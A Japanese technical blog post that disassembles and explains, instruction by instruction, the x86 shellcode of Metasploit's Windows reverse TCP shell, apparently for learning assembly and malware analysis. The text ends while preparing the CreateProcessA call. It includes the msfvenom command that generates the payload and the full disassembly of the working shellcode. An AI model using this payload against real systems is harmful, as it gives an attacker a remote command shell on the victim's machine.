5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

この記事はNTTドコモソリューションズ Advent Calendar 2025 20日目の記事です。

こんにちは、NTTドコモソリューションズの中井です。普段はブロックチェーン技術に代表されるWeb3技術、最近は専らDID/VCという技術を調査検証しています。

はじめに

皆さんはMetasploitというOSSをご存知でしょうか?

MetasploitはペネトレーションテストやCTFなどで広く使われるOSSです。ペイロード生成、エクスプロイト、ハンドラ(受信側)などが一体化しており、セキュリティ学習(特にオフェンシブセキュリティ)でもよく使用されます。

そしてMetasploitの機能の一つにリバースシェルの生成というものがあります。Metasploitのリバースシェルは生成、使用共に非常に簡単なのですが、ブラックボックス的に使われがちで中身が何をしているのかを説明できる人は案外少ない印象です。

もちろん私も中身は見たことがありません。なので、今回はあえて中身を読んでその処理を解読してみたいと思います。

この記事では、windows/shell_reverse_tcp(x86)のシェルコードを題材に、逆アセンブル結果を追いながら、いったいどのような処理がされているのかを解読していきます。

なお、MetasploitはOSSのためソースコードを読めばかなり解読しやすくなります。しかし実際のマルウェア解析などではソースコードが読めるなんてことはほぼありません。そこで今回はアセンブリ言語の練習も兼ねて、できる限りソースコードは使用せず逆アセンブルからその処理の流れを追ってみたいと思います。

Metasploitは非常に強力なOSSのため、実際の攻撃など違法なシーンでも使用されることがあるくらい危険なものです。このため、取り扱いは必ず許可された検証環境に限定してください。

そもそもリバースシェルとは

リバースシェルに馴染みが薄い方も多いかと思うので簡単にリバースシェルとは何か紹介します。

リバースシェルとは、ターゲット端末から攻撃者端末へ接続を張り、その通信路でコマンド実行(シェル)をやり取りする方式です。SSH のように「操作する側 → ターゲットへ接続する」形とは、通信の向きが逆になります。

これは攻撃者目線では以下のような利点が存在します。

  • ターゲット端末にSSHなどのソフトウェアの追加インストールが不要
  • ターゲット端末からの通信になるため、通常の通信に偽装できる
  • 外部→内部の接続を拒否するファイアウォールなどを回避できる

リバースシェル獲得後はターゲット端末上で基本的なコマンド実行が可能となるため、権限昇格や内部ネットワークへの攻撃など活動の幅が広がります。

リバースシェルの準備

ではここから実際にリバースシェルの生成をしていきます。今回はKali Linuxを使用していますがMetasploitと逆アセンブルできるソフトがあればOSは何でも大丈夫です。

EDRやセキュリティ対策ソフトが入っている環境だと、リバースシェルが削除されたり、セキュリティ部門から緊急で連絡が入るかもしれないので気を付けてください。

まず解読するためのリバースシェルを生成します。今回はできる限り基礎的なものを解読したかったので、ペイロードは"windows/shell_reverse_tcp"でほかに不要なオプションは指定していません。LHOSTとLPORTはリバースシェルを受けとる端末です。ここは適宜変更しても構いません。

┌──(kali㉿kali)-[~/Documents/Work]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=443 -f raw -o sample_reverse_shell
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: sample_reverse_shell

次に生成したリバースシェルを解読できるようにndisasmで逆アセンブルします。かなり長いので適宜折り畳みを解除して確認してください。

逆アセンブルしたリバースシェル
┌──(kali㉿kali)-[~/Documents/Work]
└─$ ndisasm -b 32 sample_reverse_shell
00000000  FC                cld
00000001  E882000000        call 0x88
00000006  60                pusha
00000007  89E5              mov ebp,esp
00000009  31C0              xor eax,eax
0000000B  648B5030          mov edx,[fs:eax+0x30]
0000000F  8B520C            mov edx,[edx+0xc]
00000012  8B5214            mov edx,[edx+0x14]
00000015  8B7228            mov esi,[edx+0x28]
00000018  0FB74A26          movzx ecx,word [edx+0x26]
0000001C  31FF              xor edi,edi
0000001E  AC                lodsb
0000001F  3C61              cmp al,0x61
00000021  7C02              jl 0x25
00000023  2C20              sub al,0x20
00000025  C1CF0D            ror edi,byte 0xd
00000028  01C7              add edi,eax
0000002A  E2F2              loop 0x1e
0000002C  52                push edx
0000002D  57                push edi
0000002E  8B5210            mov edx,[edx+0x10]
00000031  8B4A3C            mov ecx,[edx+0x3c]
00000034  8B4C1178          mov ecx,[ecx+edx+0x78]
00000038  E348              jecxz 0x82
0000003A  01D1              add ecx,edx
0000003C  51                push ecx
0000003D  8B5920            mov ebx,[ecx+0x20]
00000040  01D3              add ebx,edx
00000042  8B4918            mov ecx,[ecx+0x18]
00000045  E33A              jecxz 0x81
00000047  49                dec ecx
00000048  8B348B            mov esi,[ebx+ecx*4]
0000004B  01D6              add esi,edx
0000004D  31FF              xor edi,edi
0000004F  AC                lodsb
00000050  C1CF0D            ror edi,byte 0xd
00000053  01C7              add edi,eax
00000055  38E0              cmp al,ah
00000057  75F6              jnz 0x4f
00000059  037DF8            add edi,[ebp-0x8]
0000005C  3B7D24            cmp edi,[ebp+0x24]
0000005F  75E4              jnz 0x45
00000061  58                pop eax
00000062  8B5824            mov ebx,[eax+0x24]
00000065  01D3              add ebx,edx
00000067  668B0C4B          mov cx,[ebx+ecx*2]
0000006B  8B581C            mov ebx,[eax+0x1c]
0000006E  01D3              add ebx,edx
00000070  8B048B            mov eax,[ebx+ecx*4]
00000073  01D0              add eax,edx
00000075  89442424          mov [esp+0x24],eax
00000079  5B                pop ebx
0000007A  5B                pop ebx
0000007B  61                popa
0000007C  59                pop ecx
0000007D  5A                pop edx
0000007E  51                push ecx
0000007F  FFE0              jmp eax
00000081  5F                pop edi
00000082  5F                pop edi
00000083  5A                pop edx
00000084  8B12              mov edx,[edx]
00000086  EB8D              jmp short 0x15
00000088  5D                pop ebp
00000089  6833320000        push dword 0x3233
0000008E  687773325F        push dword 0x5f327377
00000093  54                push esp
00000094  684C772607        push dword 0x726774c
00000099  FFD5              call ebp
0000009B  B890010000        mov eax,0x190
000000A0  29C4              sub esp,eax
000000A2  54                push esp
000000A3  50                push eax
000000A4  6829806B00        push dword 0x6b8029
000000A9  FFD5              call ebp
000000AB  50                push eax
000000AC  50                push eax
000000AD  50                push eax
000000AE  50                push eax
000000AF  40                inc eax
000000B0  50                push eax
000000B1  40                inc eax
000000B2  50                push eax
000000B3  68EA0FDFE0        push dword 0xe0df0fea
000000B8  FFD5              call ebp
000000BA  97                xchg eax,edi
000000BB  6A05              push byte +0x5
000000BD  68C0A80101        push dword 0x101a8c0
000000C2  68020001BB        push dword 0xbb010002
000000C7  89E6              mov esi,esp
000000C9  6A10              push byte +0x10
000000CB  56                push esi
000000CC  57                push edi
000000CD  6899A57461        push dword 0x6174a599
000000D2  FFD5              call ebp
000000D4  85C0              test eax,eax
000000D6  740C              jz 0xe4
000000D8  FF4E08            dec dword [esi+0x8]
000000DB  75EC              jnz 0xc9
000000DD  68F0B5A256        push dword 0x56a2b5f0
000000E2  FFD5              call ebp
000000E4  68636D6400        push dword 0x646d63
000000E9  89E3              mov ebx,esp
000000EB  57                push edi
000000EC  57                push edi
000000ED  57                push edi
000000EE  31F6              xor esi,esi
000000F0  6A12              push byte +0x12
000000F2  59                pop ecx
000000F3  56                push esi
000000F4  E2FD              loop 0xf3
000000F6  66C744243C0101    mov word [esp+0x3c],0x101
000000FD  8D442410          lea eax,[esp+0x10]
00000101  C60044            mov byte [eax],0x44
00000104  54                push esp
00000105  50                push eax
00000106  56                push esi
00000107  56                push esi
00000108  56                push esi
00000109  46                inc esi
0000010A  56                push esi
0000010B  4E                dec esi
0000010C  56                push esi
0000010D  56                push esi
0000010E  53                push ebx
0000010F  56                push esi
00000110  6879CC3F86        push dword 0x863fcc79
00000115  FFD5              call ebp
00000117  89E0              mov eax,esp
00000119  4E                dec esi
0000011A  56                push esi
0000011B  46                inc esi
0000011C  FF30              push dword [eax]
0000011E  6808871D60        push dword 0x601d8708
00000123  FFD5              call ebp
00000125  BBF0B5A256        mov ebx,0x56a2b5f0
0000012A  68A695BD9D        push dword 0x9dbd95a6
0000012F  FFD5              call ebp
00000131  3C06              cmp al,0x6
00000133  7C0A              jl 0x13f
00000135  80FBE0            cmp bl,0xe0
00000138  7505              jnz 0x13f
0000013A  BB4713726F        mov ebx,0x6f721347
0000013F  6A00              push byte +0x0
00000141  53                push ebx
00000142  FFD5              call ebp

左からアドレス、機械語、アセンブリ命令になります。本記事ではこの逆アセンブルしたリバースシェルを解読していきます。

リバースシェルの大まかな動き

リバースシェルの詳細については、リバースシェルの解読で解説しますが、いささか長く専門的過ぎたのでこちらでは大まかな動きを紹介します。

リバースシェルで実行される関数および処理の流れは以下のようになっています。

  • LoadLibraryAを実行し、ws2_32.dllをロードする
  • WSAStartupを実行し、Winsockを初期化する
  • WSASocketAを実行し、ソケットを作成する
  • connectで指定したIP、Portへ接続する
  • STARTUPINFOA構造体を組み立て、標準入出力(stdin/stdout/stderr)をソケットに流す
  • CreateProcessAでコマンドプロンプトを起動する
  • WaitForSingleObjectでプロセスの終了まで待つ
  • ExitProcessで終了する

てっきりコマンドプロンプトを起動してワンライナーのリバースシェルを起動しているのかなと思っていたのですが、実際にはWin32 APIを組み合わせて、ソケット接続とプロセス生成・入出力リダイレクトまでをシェルコード内で完結させる高度なものとなっていました。

リバースシェルの解読

では、ここからリバースシェルの処理を命令毎に解読していきます。

1. エントリポイント

00000000  FC                cld
00000001  E882000000        call 0x88
00000006  60                pusha

まず、cldで方向フラグがクリアされます。これはお決まりのようなものです。(00000000)
次に0x88がcallされ、アドレス 0x88の処理が実行されます。callの処理が終了した後は、00000006に戻ってきてpushaが実行されるわけですが、レジスタではそんな柔軟な動きはできません。(00000001)
このため裏ではcallの戻りアドレスである00000006がスタックへpushされています。これによりcall完了後にどこに戻ればいいのかが分かる仕組みとなっています。

2. "ws2_32" 文字列の準備と LoadLibraryA の実行準備

00000088  5D                pop ebp
00000089  6833320000        push dword 0x3233
0000008E  687773325F        push dword 0x5f327377
00000093  54                push esp
00000094  684C772607        push dword 0x726774c
00000099  FFD5              call ebp

0x88に飛んだあとは pop ebpから始まります。スタックの一番上には先ほど、裏でpushされた00000006が存在します。つまりここで ebp = 00000006 となります。(00000088)

次に謎のdwordがpushされています。(00000089~0000008E)
これを人が読める形にするため、0x3233と0x5f327377を連結させ、ASCII文字列へ変換すると"23_2sw"という文字列になります。はまりポイントなのですが、32bitのWindows(x86アーキテクチャ)ではリトルエンディアンという逆順にデータを積む特性があります。このため、"23_2sw"は"ws2_32"という文字列になります。これは後ほど解説しますが、Windows APIの名称となっています。また、スタックには4バイト単位でのpushが行われるため、厳密には"ws2_3200"と0埋めされた値が格納されています。

次にespがpushされます。(00000093)
このespは"ws2_32"という文字列のポインターを今現在指しています。これをpushすることで"ws2_32"の文字列のポインターを後工程で使用できるようにしています。

次に0x726774cがpushされていますが、これは"LoadLibraryA"のHash値になります。(00000094)
Hashと言ってもアセンブリ言語でそんな高等技術はないため、疑似的に処理を行いHash化させたものです。本来であればHash化ルーチンを再現して、0x726774cがなんのHashなのかを見つけ出す処理が必要ですが、今回はソースコードを確認して済ませます。

そしてcall ebp = call 00000006 が実行されます。(00000099)
先ほどと同様に、call ebpの次のアドレスである0x0000009Bが裏でpushされています。

この時のスタックの状況は以下のようになります。

アドレス 内容 備考
ESP 0x0000009B call ebp(00000099)の戻りアドレス
ESP+0x4 0x0726774C LoadLibraryAのHash
ESP+0x8 "ws2_32"へのポインター
ESP+0xC "ws2_3200" 4バイト単位になるように0埋めされている
00000006  60                pusha
00000007  89E5              mov ebp,esp

pushaは各レジスタの値をpushすることで、レジスタの状態保存を行う命令です。(00000006)
次にebpをespで更新しています。espはpushaによって更新されており、pushされたレジスタの先頭を指しています。スタックは以下のような状況になっています。

アドレス 内容 備考
ESP レジスタ8種の値 pushaによってpushされた値
ESP+0x20 0x0000009B call ebp(00000099)の戻りアドレス
ESP+0x24 0x0726774C LoadLibraryAのHash
ESP+0x28 "ws2_32"へのポインター
ESP+0x2C "ws2_3200" 4バイト単位になるように0埋めされている

3. API解決ルーチン

00000009  31C0              xor eax,eax
0000000B  648B5030          mov edx,[fs:eax+0x30]
0000000F  8B520C            mov edx,[edx+0xc]
00000012  8B5214            mov edx,[edx+0x14]
00000015  8B7228            mov esi,[edx+0x28]
00000018  0FB74A26          movzx ecx,word [edx+0x26]

ここは少し複雑かつ、Microsoft公式の情報が少ないため、ダイジェストで解説します。

ここではPEBという構造体から、InMemoryOrderModuleListを取得しています。(00000009~00000012)

InMemoryOrderModuleListはロード済みのモジュール(DLL)の一覧を保持しているLIST_ENTRY構造となっています。LIST_ENTRY構造体の最初のフィールドは、LDR_DATA_TABLE_ENTRY構造体を示しています。
LDR_DATA_TABLE_ENTRY構造体から0x28のオフセットには、今の配列がロードしているDLLの名前へのポインターが格納されており、これをESIに格納しています。(00000015)
同様に0x26のオフセットにはDLLの名前の長さがあり、これをECXに格納しています。(00000018)

3.1 DLL名の疑似Hash計算

0000001C  31FF              xor edi,edi
0000001E  AC                lodsb
0000001F  3C61              cmp al,0x61
00000021  7C02              jl 0x25
00000023  2C20              sub al,0x20
00000025  C1CF0D            ror edi,byte 0xd
00000028  01C7              add edi,eax
0000002A  E2F2              loop 0x1e

ここでは疑似的なHash化処理が行われています。

まずEDIの初期化を行っています。(0000001C)
次に、DLLの名前を1バイト取り出して、小文字であれば大文字に変換をしています。(0000001E~00000023)
この際ESIが1増加するため、次に同じ処理が行われるとき、取り出されるDLLの名前の位置が一つずれます。

次にEDIをローテーション処理し、大文字化した1文字をEDIに加算します。(00000025~00000028)

0x1eにループで戻り、DLL名の最後の1文字までこの処理が繰り返されます。(0000002A)
この際ECXがループ数として機能しており、1減少します。ECXはDLL名の長さのため、文字数分ループを回しているということになります。

まとめるとEDIは最初空ですが、文字が追加されていく毎に

1文字加算→ローテーション処理→次の1文字加算→ローテーション処理→次の1文字加算→…

という形で疑似的なHash化処理をしていることが分かります。

3.2 ExportDirectoryの取得と関数一覧の準備

0000002C  52                push edx
0000002D  57                push edi
0000002E  8B5210            mov edx,[edx+0x10]
00000031  8B4A3C            mov ecx,[edx+0x3c]
00000034  8B4C1178          mov ecx,[ecx+edx+0x78]
00000038  E348              jecxz 0x82

EDX=InMemoryOrderModuleListと、EDI=Hash化処理されたDLL名がスタックにpushされます。(0000002C~0000002D)

次にEDXへ[InMemoryOrderModuleList+0x10]にあるモジュールのベースアドレスを格納しています。(0000002E)
ベースアドレスはIMAGE_DOS_HEADERの先頭を指しており、そこからオフセット0x3Cに"PEヘッダへのオフセット"が記録されています。(00000031)

"PEヘッダへのオフセット+ベースアドレス+0x78"には、このモジュールのエクスポートディレクトリのRelative Virtual Address、つまり相対アドレスが記録されています。ECXにこの相対アドレスを格納しています。(00000034)
エクスポートディレクトリには、DLLが外部に公開している関数の一覧が記載されています。例えば、kernel32.dllであれば、LoadLibraryA関数などになります。

ECX=相対アドレスが0の場合、エクスポートディレクトリが存在しないモジュールということになります。このため分岐が発生し、存在しない場合は0x82へ処理が飛びます。(00000038)

00000082  5F                pop edi
00000083  5A                pop edx
00000084  8B12              mov edx,[edx]
00000086  EB8D              jmp short 0x15

EDIとEDXにスタックからpopされます。この二つは先ほど0000002Cと0000002Dでpushした内容が元に戻った形です。このため、EDX=InMemoryOrderModuleList 、EDI=Hash化処理されたDLL名 となります。(00000082~00000083)

InMemoryOrderModuleListはロードしたDLLの情報がリンク状につながった構造をしています。このためEDXが指すポインターを取得することで次のDLLへ進むことができます。(00000084)
そして、新しいDLLに対して今までの処理を繰り返すために、0x15へ飛びます。(00000086)

0000003A  01D1              add ecx,edx
0000003C  51                push ecx
0000003D  8B5920            mov ebx,[ecx+0x20]
00000040  01D3              add ebx,edx
00000042  8B4918            mov ecx,[ecx+0x18]
00000045  E33A              jecxz 0x81

0x82へ処理が飛ぶのはエクスポートディレクトリが存在しない場合の遷移でしたが、ある場合は処理がそのまま続きます。

00000034で格納したECXはエクスポートディレクトリの相対アドレスであり、実アドレスではありません。そこでベースアドレスを加算することで実アドレス化しpushします。(0000003A~0000003C)

エクスポートディレクトリの実アドレスから0x20には関数名配列へのRVAがあります。これにベースアドレスを加えることで実アドレス化しています。(0000003D~00000040)

エクスポートディレクトリの実アドレスから0x18には名前付き関数の数が記録されており、ECXに格納しています。(00000042)

これが0の場合、名前付きの関数が0のため、0x81に飛びます。(00000045)
0x81に飛んだあとは0x82へ飛んだ時とほぼ同じで、pushが1回多いため、popが1回増えるだけです。

3.3 関数名の疑似Hash計算と比較

00000047  49                dec ecx
00000048  8B348B            mov esi,[ebx+ecx*4]
0000004B  01D6              add esi,edx
0000004D  31FF              xor edi,edi
0000004F  AC                lodsb
00000050  C1CF0D            ror edi,byte 0xd
00000053  01C7              add edi,eax
00000055  38E0              cmp al,ah
00000057  75F6              jnz 0x4f

EBXは関数名配列へのRVAです。これに関数の数*4を加算することで、検査対象の関数名の文字列へのRVAが得られます。分かりにくいですがざっくり関数名配列[n]というようなことをしています。これにベースアドレスを加算することで関数名の実アドレスを取得しています。最初にECXを減算していることからわかるように、次同じ処理に入ると関数名配列[n-1]に対しての処理になります。(00000047~0000004B)

モジュールでしたように、関数名を1文字ずつ加算、ローテーションすることで疑似的にHash化処理を実施しています。EAXは最初の方で初期化済みで、ALは格納していますが、AHは変化していないため0です。このためcmp al,ah は実質 cmp al,0 であり、関数名の最後まで処理がされたかをチェックしています。(0000004D~00000055)
ALが0でない(=関数名の途中)場合は、0x4fに飛び、Hash化処理が継続されます。(00000057)

00000059  037DF8            add edi,[ebp-0x8]
0000005C  3B7D24            cmp edi,[ebp+0x24]
0000005F  75E4              jnz 0x45

EDIは先ほど計算した関数名のHashです。ここで、ebp-0x08が何なのかが問題となります。EBPは最初の方でESPを代入しています。その時のスタックの情報は以下のような形でした。

アドレス 内容 備考
ESP レジスタ8種の値 pushaによってpushされた値
ESP+0x20 0x0000009B call ebp(00000099)の戻りアドレス
ESP+0x24 0x0726774C LoadLibraryAのHash
ESP+0x28 "ws2_32"へのポインター
ESP+0x2C "ws2_3200" 4バイト単位になるように0埋めされている

ここから処理がいくつか実行され、何度かpushやpopが実行されています。これらを踏まえて表を更新すると次のようになります。

アドレス アドレス(EBP換算) 内容 備考
ESP EBP-0xC エクスポートディレクトリの実アドレス 0000003Cでの処理
ESP+0x04 EBP-0x08 Hash化処理されたDLL名 0000002Dでの処理
ESP+0x08 EBP-0x04 InMemoryOrderModuleList 0000002Cでの処理
ESP+0x0C EBP レジスタ8種の値 pushaによってpushされた値
ESP+0x10 EBP+0x20 0x0000009B call ebp(00000099)の戻りアドレス
ESP+0x14 EBP+0x24 0x0726774C LoadLibraryAのHash
ESP+0x18 EBP+0x28 "ws2_32"へのポインター
ESP+0x1C EBP+0x2C "ws2_3200"

つまり、ebp-0x8はHash化処理されたDLL名です。よって EDI=Hash化された関数名+Hash化処理されたDLL名となります。(00000059)

次に、ebp+0x24とEDIを比較します。(0000005C)
上の表からebp+0x24はLoadLibraryAのHashです。これは最初の方で固定値としてpushされ、ソースコードを見て何を指しているのかを見つけた値です。先ほどはこの固定値の算出方法が分かりませんでしたが、今であればDLL名と関数名をHash化させ合算した値であると分かります。

最初の固定値と算出したHash値が異なる場合は0x45へ飛びます。(0000005F)

ECXは今は関数の数のカウンタとなっているため、DLLの中の関数を同じ要領でHash化処理を繰り返し、期待したHashが来るまでループされる構造になっています。分かりやすくソースコード風に表現すると次のような形になります。

for DLL in ロード済みDLLのリスト:
    dll_Hash = DLL名をHash化

    for func in DLLの中にある関数のリスト:
        func_Hash = 関数名をHash化

        if (dll_Hash + func_Hash) == 目標Hash:
            見つかったら次の処理へ

3.4 Ordinal から関数アドレス解決

00000061  58                pop eax
00000062  8B5824            mov ebx,[eax+0x24]
00000065  01D3              add ebx,edx
00000067  668B0C4B          mov cx,[ebx+ecx*2]
0000006B  8B581C            mov ebx,[eax+0x1c]
0000006E  01D3              add ebx,edx
00000070  8B048B            mov eax,[ebx+ecx*4]
00000073  01D0              add eax,edx
00000075  89442424          mov [esp+0x24],eax
00000079  5B                pop ebx
0000007A  5B                pop ebx
0000007B  61                popa
0000007C  59                pop ecx
0000007D  5A                pop edx
0000007E  51                push ecx

ここでは、先ほど見つけた関数の実アドレスを取得していきます。

今のスタックの一番上にはエクスポートディレクトリの実アドレスが保管されています。エクスポートディレクトリの実アドレス+0x24にはAddressOfNameOrdinalsのRVAがあり、これにベースアドレスを加算することで実アドレス化しています。(00000061~00000065)

ECXは関数のカウンタであり今欲しい関数の位置を示しています。これを活用して、AddressOfNameOrdinalsからOrdinalをCXに格納します。OrdinalはDLLが関数を外部へ公開する際に指定する番号です。非常に分かりにくいですが、関数のカウンタとは異なる値であるためこのような処理になっています。(00000067)

次に、エクスポートディレクトリの実アドレス+0x1CにはAddressOfFunctionsのRVAが記録されています。
これにベースアドレスを加算して実アドレス化します。(0000006B~0000006E)

また、AddressOfFunctionsには関数のRVAが記録されており、かつAddressOfFunctions[Ordinal]というような配列になっています。そこで先ほど見つけた欲しい関数のOrdianlを使用して、関数のRVAを取得します。これにベースアドレスを加算することで、ようやく関数の実アドレスが獲得できます。(00000070~00000073)

次にesp+0x24にEAX=関数の実アドレスを格納しています。一度ここでスタックの状況を確認します。00000061でエクスポートディレクトリの実アドレスがpopされたので、スタックは次のようになっていると推測できます。

アドレス 内容 備考
ESP Hash化処理されたDLL名 0000002Dでの処理
ESP+0x04 InMemoryOrderModuleList 0000002Cでの処理
ESP+0x08 レジスタ8種の値 pushaによってpushされた値
ESP+0x28 0x0000009B call ebp(00000099)の戻りアドレス
ESP+0x2C 0x0726774C LoadLibraryAのHash
ESP+0x30 "ws2_32"へのポインター
ESP+0x34 "ws2_3200"

これからesp+0x24はpushaで退避したレジスタであり、順番的に一番最初にpushされたレジスタつまりEAXになります。(00000075)

ここからpopが続きます。pop ebx 二回でスタックの上二つが捨てられ、popaでpushaで退避したレジスタが修復されます。この際、EAXは前述した関数の実アドレスに変更されています。そこから、ECX,EDXがスタックの内容で更新され、ECXの内容がスタックにpushされます。(00000079~0000007E)

以上を踏まえるとレジスタの値と、スタックの状況は以下のようになります。

レジスタ 内容 備考
EAX 関数の実アドレス
ECX 0x0000009B call ebp(00000099)の戻りアドレス
EDX 0x0726774C LoadLibraryAのHash
その他 pusha前の値
アドレス 内容 備考
ESP 0x0000009B call ebp(00000099)の戻りアドレス
ESP+0x04 "ws2_32"へのポインター
ESP+0x08 "ws2_3200"

4. LoadLibraryA 実行(ws2_32.dll のロード)

0000007F  FFE0              jmp eax

そして jmp eax で関数が実行されます。(0000007F)
今回はkernel32.dllのLoadLibraryAが実行されます。関数の実行時はスタック上の情報が引数として使用されます。具体的には一番上のスタックが関数終了後のreturn addressとして解釈され、2番目以降が各関数ごとの引数になります。Microsoft公式の情報を確認すると、LoadLibraryAの引数はロードするライブラリ名のポインターであることが分かります。

HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

スタックの2番目には"ws2_32"へのポインターが格納されているので、LoadLibraryAは正しく動作し、ws2_32.dllがロードされます。

ws2_32.dllはWindowsにおけるネットワーク接続を担うDLLです。リバースシェルにおいては、コマンドの入出力やエラー出力を外部の攻撃者へ渡すために使用されます。

kernel32.dll–LoadLibraryAをHashで検索したように、ws2_32.dllも同じ手順でHash検索すれば良いのでは?と思う方もいるかもしれません。しかしHashでの検索対象は 「すでにプロセスにロードされているDLL」 に限られます。ws2_32.dll は状況によっては未ロードのため、ロード済みモジュール一覧に存在せず、同じ方法では見つからない場合があります。
そこでまず基本的にロードされるkernel32.dllからLoadLibraryAを見つけ出し、
→LoadLibraryAを使って ws2_32.dll をロードし
→必要なAPIを解決する、という手順になっています。

5. WSAStartup(Winsock 初期化)

0000009B  B890010000        mov eax,0x190
000000A0  29C4              sub esp,eax
000000A2  54                push esp
000000A3  50                push eax
000000A4  6829806B00        push dword 0x6b8029
000000A9  FFD5              call ebp

ws2_32.dllのロードが終わるとreturn addressで指定した0000009Bに処理が戻ります。

ここではEAXに0x190を格納し、ESPから減算することで領域をスタック上に確保しています。そしてESP、EAXと謎の固定値0x6b8029がpushされます。(0000009B~000000A4)

これは先ほどのLoadLibraryAのHashと同じように、アドレス解決を行う関数のHashです。同じようにソースコードを確認し、何を指しているのかを見つけます。すると ws2_32.dllのWSAStartupであることがわかります。

また今のスタック構造は以下のようになります。

アドレス 内容 備考
ESP 0x6b8029 WSAStartupのHash
ESP+0x04 0x190
ESP+0x08 ESP+0x0C
ESP+0x0C~ESP+0x19C 空の領域

そして call ebp=call 00000006 が実行されます。(000000A9)
ここからは上記で解説した処理が同じように実行されます。

具体的には ws2_32.dllのWSAStartup関数の実アドレスが解決されます。その後、WSAStartup関数がスタックの情報を引数に実行されます。

引数はMicrosoft公式の情報から二つ必要なことが分かります。

int WSAStartup(
  [in]  WORD      wVersionRequired,
  [out] LPWSADATA lpWSAData
);

一つが"呼び出し元が使用できるWindowsソケット仕様の最上位バージョン(wVersionRequested)"、もう一つが "WSADATA 構造体へのポインター(lpWSAData)"です。

lpWSADataについては WSADATA構造体分のスペース(0x190)を作成した後pushしていることが確認できます。

しかしwVersionRequestedは少しトリッキーです。通常はWinsock 2.2を要求するために0x0202を設定しますが、今回設定されているのは0x190です。wVersionRequestedは上位バイトがマイナーバージョン、下位バイトがメジャーバージョンなので、0x0190は144.1相当となり、一般的な指定(1.1や2.2など)から大きく外れています。

これはWSAStartupではネゴシエーションが行われ、アプリケーションによって要求されたバージョンが、DLLの最低サポート版以上であれば成功するためです。具体的には今作成しているアプリケーションがバージョン144.1で要求しても、DLL側は自身の最低バージョン以上かどうかで判断します。このため0x190を渡しても、実際に利用する版はDLL側の上限(通常 2.2)になります。

もしここで0x0202を明示的に作ってpushすると、その分だけ命令が増えます。リバースシェルでは サイズ節約が重要なので、WSADATAで確保するサイズの0x190をwVersionRequestedにも流用して数バイト削る、という意図が読み取れます。

call終了後はこのまま次の命令へ進みます。

6. WSASocketA(ソケット作成)

000000AB  50                push eax
000000AC  50                push eax
000000AD  50                push eax
000000AE  50                push eax
000000AF  40                inc eax
000000B0  50                push eax
000000B1  40                inc eax
000000B2  50                push eax
000000B3  68EA0FDFE0        push dword 0xe0df0fea
000000B8  FFD5              call ebp

ここでも同じように、次に呼び出す関数で使用する引数をpushし、関数のHashをpush、call ebpで最終的にその関数が実行されます。

最初にEAXをpushしていますが、EAXには関数の返り値が格納されています。今はWSAStartupの返り値で、成功時には0を返します。このため、0もしくは1もしくは2を引数として設定していることが分かります。(000000AB~000000B2)

そして関数のHashですが、ソースコードを確認するとws2_32.dll-WSASocketAであることが分かります。

引数はMicrosoft公式を確認すると以下のようになっています。

SOCKET WSAAPI WSASocketA(
  [in] int                 af,
  [in] int                 type,
  [in] int                 protocol,
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
  [in] GROUP               g,
  [in] DWORD               dwFlags
);

ここで気を付けるべきはaf=2にすることでIPv4を設定し、type=1にしてストリームソケットを選択するくらいです。

7. connect(接続・リトライ)

000000BA  97                xchg eax,edi
000000BB  6A05              push byte +0x5
000000BD  68C0A80101        push dword 0x101a8c0
000000C2  68020001BB        push dword 0xbb010002
000000C7  89E6              mov esi,esp
000000C9  6A10              push byte +0x10
000000CB  56                push esi
000000CC  57                push edi
000000CD  6899A57461        push dword 0x6174a599
000000D2  FFD5              call ebp

ここも同じように関数を解決して、呼び出しています。呼んでいる関数は ws2_32.dll-connect です。

connectで使用する引数が少し面倒なため、ここではconnect用の引数を作成→connectの引数をpush→connectを実行という流れになっています。

EAXにはWSASocketAの返り値があり、これは後々使用するためEDIと交換しています。(000000BA)
次にconnect用の引数であるsockaddr_in構造を作成しています。必要な構造は以下のような形です。

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
};

上二つの引数に対応しているのが0xbb010002で、これを分解すると以下のようになります。

sin_family = 0x0002
sin_port = 0x01bb = 0n443

ポート443は最初にこのリバースシェルを作成した際に指定したものです。3つ目の引数に対応しているのが0x101a8c0で、これを分かりやすくすると

in_addr sin_addr = C0.A8.01.01 = 192.168.1.1

となり、こちらもリバースシェルを作成した際に指定したIPアドレスが使用されていることが分かります。

最後のsin_zero[8]が少し特殊で、本来は0が8バイト必要です。しかし、ここではpush byte +0x5と05000000がpushされています。どうやらすべて0で埋めなくても何とかなるようで、もともとスタック上に存在する4バイト+05000000でも機能するようです。じゃあこの5は何なんだということについては、後ほど解説しますがconnectの接続回数のカウントを担っています。この構造体のポインターをESIに格納し、sockaddr_in構造の準備は完了です。

次に、connectを実行します。connectの引数は以下のような形になっています。

int WSAAPI connect(
  [in] SOCKET         s,
  [in] const sockaddr *name,
  [in] int            namelen
);

まず最初にsockaddr_in構造のサイズ=16バイト(=0x10)、次に作成したsockaddr_in構造のポインター、最後にWSASocketAの返り値をpushします。(000000C9~000000CC)

そしてcall ebpでconnectが実行されます。call終了後はこのまま次の命令へ進みます。

000000D4  85C0              test eax,eax
000000D6  740C              jz 0xe4
000000D8  FF4E08            dec dword [esi+0x8]
000000DB  75EC              jnz 0xc9

ここで前述した接続回数のカウント処理が実行されます。

connectに成功するとEAX=0になります。EAXが0かどうかをチェックし、0なら0xe4に処理が飛びます。(000000D4~000000D6)

もし0でない場合は、[esi+0x8]を1減算し、0xc9に戻り再度connectを実行します。[esi+0x8]というのが前述したpush byte +0x5の部分で、5回のカウントがあることになります。カウントが0になっても成功しなかった場合は次の処理に進みます。(000000D8~000000DB)

000000DD  68F0B5A256        push dword 0x56a2b5f0
000000E2  FFD5              call ebp

カウントが0になっても失敗する場合は、exitprocess関数が実行され、リバースシェルの処理そのものが終了するようになっています。

8. cmd 起動の準備(CreateProcessA の前処理)

000000E4  68636D6400        push dword 0x646d63
000000E9  89E3              mov ebx,esp

ここからはCreateProcessA実行のための準備に入ります。
0x646d63をASCII文字列に変換すると"dmc"となり、リトルエンディアンのため"cmd"をpushしています。これを後ほど使用するため、ポインターをEBXに格納しています。(000000E4~000000E9)

